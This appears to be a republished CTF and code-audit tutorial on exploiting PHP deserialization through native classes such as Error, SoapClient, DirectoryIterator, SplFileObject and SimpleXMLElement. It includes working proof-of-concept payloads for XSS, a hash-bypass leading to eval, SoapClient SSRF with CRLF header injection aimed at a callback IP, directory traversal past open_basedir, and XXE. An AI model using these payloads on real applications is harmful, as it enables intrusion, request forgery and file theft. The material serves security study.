In-depth understanding of PHP deserializing native classes

WBOY
Release: 2023-04-11 06:28:02
forward
6894 people have browsed it

This article brings you relevant knowledge about PHP, which mainly introduces the use of deserialized native classes. If there is a deserialization function in code audit or ctf point, but it cannot construct a complete pop chain, so how should we break the situation at this time? Let’s take a look at it, I hope it will be helpful to everyone.

In-depth understanding of PHP deserializing native classes

Recommended study: "PHP Video Tutorial"

A brief analysis of the use of PHP deserialization native classes

If there is a deserialization function in code audit or ctf, but a complete pop chain cannot be constructed, how should we break the situation? We can try to start with PHP native classes. Some PHP native classes have some built-in magic methods. If we cleverly construct controllable parameters, trigger and use their built-in magic methods, it is possible to achieve some of the goals we want.

1. Common magic methods

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把对象当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
Copy after login

2. Magic methods in native classes

We use the following script to traverse it Magic methods in all native classes

<?php $classes = get_declared_classes();foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            &#39;__destruct&#39;,
            &#39;__toString&#39;,
            &#39;__wakeup&#39;,
            &#39;__call&#39;,
            &#39;__callStatic&#39;,
            &#39;__get&#39;,
            &#39;__set&#39;,
            &#39;__isset&#39;,
            &#39;__unset&#39;,
            &#39;__invoke&#39;,
            &#39;__set_state&#39;
        ))) {
            print $class . &#39;::&#39; . $method . "\n";
        }
    }}
Copy after login

3. Utilization of some common native classes

Error/Exception

Error Is the base class for all PHP internal error classes. (PHP 7, 8)

**Error::__toString ** The string expression of error

Returns the string expression of Error.

Exception is the base class for all user-level exceptions. (PHP 5, 7, 8)

**Exception::__toString ** Convert the exception object to a string

Returns the exception converted to the string (string) type.

Class attribute

  • message Error message content

  • code Error code

  • file The file name that throws the error

  • line The number of lines that throws the error

XSS

__toString method will return the string form of error or exception, which contains the parameters we input. If we construct a string of xss code and combine it with echo rendering, the reflected xss vulnerability will be triggered

Example:

<?php $a = unserialize($_GET[&#39;a&#39;]);echo $a;
Copy after login

POC:

<?php $a = new Error("<script>alert('xss')");$b = serialize($a);echo urlencode($b);
Copy after login

In-depth understanding of PHP deserializing native classes

hash bypass

Look at a question first

[2020 Geek Challenge]Greatphp

<?phperror_reporting (0);class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }}if (isset($_GET['great'])){
    unserialize($_GET['great']);} else {
    highlight_file(__FILE__);}
Copy after login

Needs to bypass two hash strong comparisons, and ultimately needs to construct eval code execution

Obviously the normal method is It doesn't work, but it can be bypassed through native classes

Similarly, when the md5() and sha1() functions process objects, the __tostring method will be automatically called

Let's take a brief look at it first. Output

<?php $a=new Error("payload",1);$b=new Error("payload",2);$c=new Exception("payload",3);
$d=new Exception("payload",4);
echo $a."<br>";
echo $b."<br>";
echo $c."<br>";
echo $d;
Copy after login

In-depth understanding of PHP deserializing native classes

It can be found that the information returned by these two native classes is exactly the same except for the line number. Using this, we can try to bypass the hash function. What needs to be paid attention to Yes, the two incoming objects must be placed on the same line

So we can conduct a simple test and find that using this method can bypass hash strong (weak) function comparison

<?php $a = new Error("payload",1);$b = new Error("payload",2);if ($a!=$b){
    echo &#39;$a不等于$b&#39;."\n";}if (md5($a)===md5($b)){
    echo "md5值相等\n";}if (sha1($a)===sha1($b)){
    echo "sha1值相等";}
Copy after login

In-depth understanding of PHP deserializing native classes

Based on these knowledge points, we can easily construct the payload

  <?phpclass  SYCLOVER {
	public $syc;
	public $lover;
	public function __wakeup(){
		if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
		   if(!preg_match("/\syc, $match)){
			   eval($this->syc);
		   } else {
			   die("Try Hard !!");
		   }
		   
		}
	}}$str = "?>=include~".urldecode("%D0%99%93%9E%98")."?>";//两次取反绕过正则$a=new Error($str,1);
	$b=new Error($str,2);
	$c = new SYCLOVER();$c->syc = $a;$c->lover = $b;
	echo(urlencode(serialize($c)));?>
Copy after login

SoapClient

SoapClient is a class specially used to access web services. It can provide a PHP client that accesses Web services based on the SOAP protocol. It can create soap data messages and interact with the wsdl interface.

The soap extension module is closed by default and needs to be manually turned on when using it

SoapClient::__call —Call SOAP functions (PHP 5, 7, 8)

Usually, SOAP functions can be called as methods of the SoapClient object

SSRF

Constructor:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,如果为`null`,那就是非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
Copy after login

What is soap

SOAP 是基于 XML 的简易协议,是用在分散或分布的环境中交换信息的简单的协议,可使应用程序在 HTTP 之上进行信息交换
SOAP是webService三要素(SOAP、WSDL、UDDI)之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
Copy after login

We construct a payload, the first parameter is NULL, and the location of the second parameter is set to the vps address

<?php $a = new SoapClient(null, array(
&#39;location&#39; => 'http://47.102.146.95:2333', 
'uri' =>'uri',
'user_agent'=>'111111'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();
Copy after login

Listen to the 2333 port of the vps. As shown in the figure below, SSRF is successfully triggered. The vps receives the request information

and you can see that both SOAPAction and user_agent are controllable

In-depth understanding of PHP deserializing native classes

During local testing, it was found that when using this built-in class (i.e. soap protocol) to request a port where a service exists, an error will be reported immediately, and when accessing a port where the service does not exist (unoccupied), it will wait for a period of time. Time error reporting can be used to detect intranet assets.

If you cooperate with the CRLF vulnerability, you can also use SoapClient to control other parameters or post to send data. For example: HTTP protocol to attack Redis

CRLF knowledge expansion

HTTP报文的结构:状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。
CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。
攻击者一旦向请求行或首部中的字段注入恶意的CRLF(\r\n),就能注入一些首部字段或报文主体,并在响应中输出。
Copy after login

By combining CRLF, we can use SoapClient CRLF to do more things, such as inserting custom cookies,

<?php $a = new SoapClient(null, array(
    &#39;location&#39; => 'http://47.102.146.95:2333',
    'uri' =>'uri',
    'user_agent'=>"111111\r\nCookie: PHPSESSION=dasdasd564d6as4d6a"));
    $b = serialize($a);echo $b;$c = unserialize($b);$c->a();
Copy after login

In-depth understanding of PHP deserializing native classes

发送POST的数据包,这里需要将Content-Type设置为application/x-www-form-urlencoded,我们可以通过添加两个\r\n来将原来的Content-Type挤下去,自定义一个新的Content-Type

<?php $a = new SoapClient(null, array(
    &#39;location&#39; => 'http://47.102.146.95:2333',
    'uri' =>'uri',
    'user_agent'=>"111111\r\nContent-Type: application/x-www-form-urlencoded\r\nX-Forwarded-For: 127.0.0.1\r\nCookie: PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length: 10\r\n\r\npostdata"));
    $b = serialize($a);echo $b;$c = unserialize($b);$c->a();
Copy after login

In-depth understanding of PHP deserializing native classes

看一道ctfshow上的题,完美利用上述知识点

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff); //获取xff头


if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}
Copy after login

poc:

<?php $target = &#39;http://127.0.0.1/flag.php&#39;;
$post_string = &#39;token=ctfshow&#39;;
$b = new SoapClient(null,array(&#39;location&#39; => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
Copy after login

DirectoryIterator/FilesystemIterator

DirectoryIterator类提供了一个简单的接口来查看文件系统目录的内容。

DirectoryIterator::__toString 获取字符串形式的文件名 (PHP 5,7,8)

目录遍历

使用此内置类的__toString方法结合glob或file协议,即可实现目录遍历

例如:

<?php $a = new DirectoryIterator("glob:///*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}
Copy after login

FilesystemIterator继承于DirectoryIterator,两者作用和用法基本相同,区别为FilesystemIterator会显示文件的完整路径,而DirectoryIterator只显示文件名

In-depth understanding of PHP deserializing native classes

因为可以配合使用glob伪协议(查找匹配的文件路径模式),所以可以绕过open_basedir的限制

在php4.3以后使用了zend_class_unserialize_deny来禁止一些类的反序列化,很不幸的是这两个原生类都在禁止名单当中

SplFileObject

SplFileObject 类为单个文件的信息提供了一个面向对象的高级接口

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

文件读取

SplFileObject::__toString — 以字符串形式返回文件的路径

<?phphighlight_file (__file__);$a = new SplFileObject("./flag.txt");echo $a;/*foreach($context as $f){
    echo($a);
}*/
Copy after login

如果没有遍历的话只能读取第一行,且受到open_basedir影响

SimpleXMLElement

解析XML 文档中的元素。 (PHP 5、PHP 7、PHP 8)

SimpleXMLElement::__construct — 创建一个新的 SimpleXMLElement 对象

XXE

我们查看一下其参数:

In-depth understanding of PHP deserializing native classes

根据官方文档,发现当第三个参数为True时,即可实现远程xml文件载入,第二个参数的常量值设置为2即可。

利用可参考赛题:[SUCTF 2018]Homework

ReflectionMethod

获取注释内容

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getDocComment — 获取注释内容
由该原生类中的getDocComment方法可以访问到注释的内容

In-depth understanding of PHP deserializing native classes

同时可利用的原生类还有ZipArchive– 删除文件等等,不在叙述

推荐学习:《PHP视频教程

The above is the detailed content of In-depth understanding of PHP deserializing native classes. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
php
source:csdn.net
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template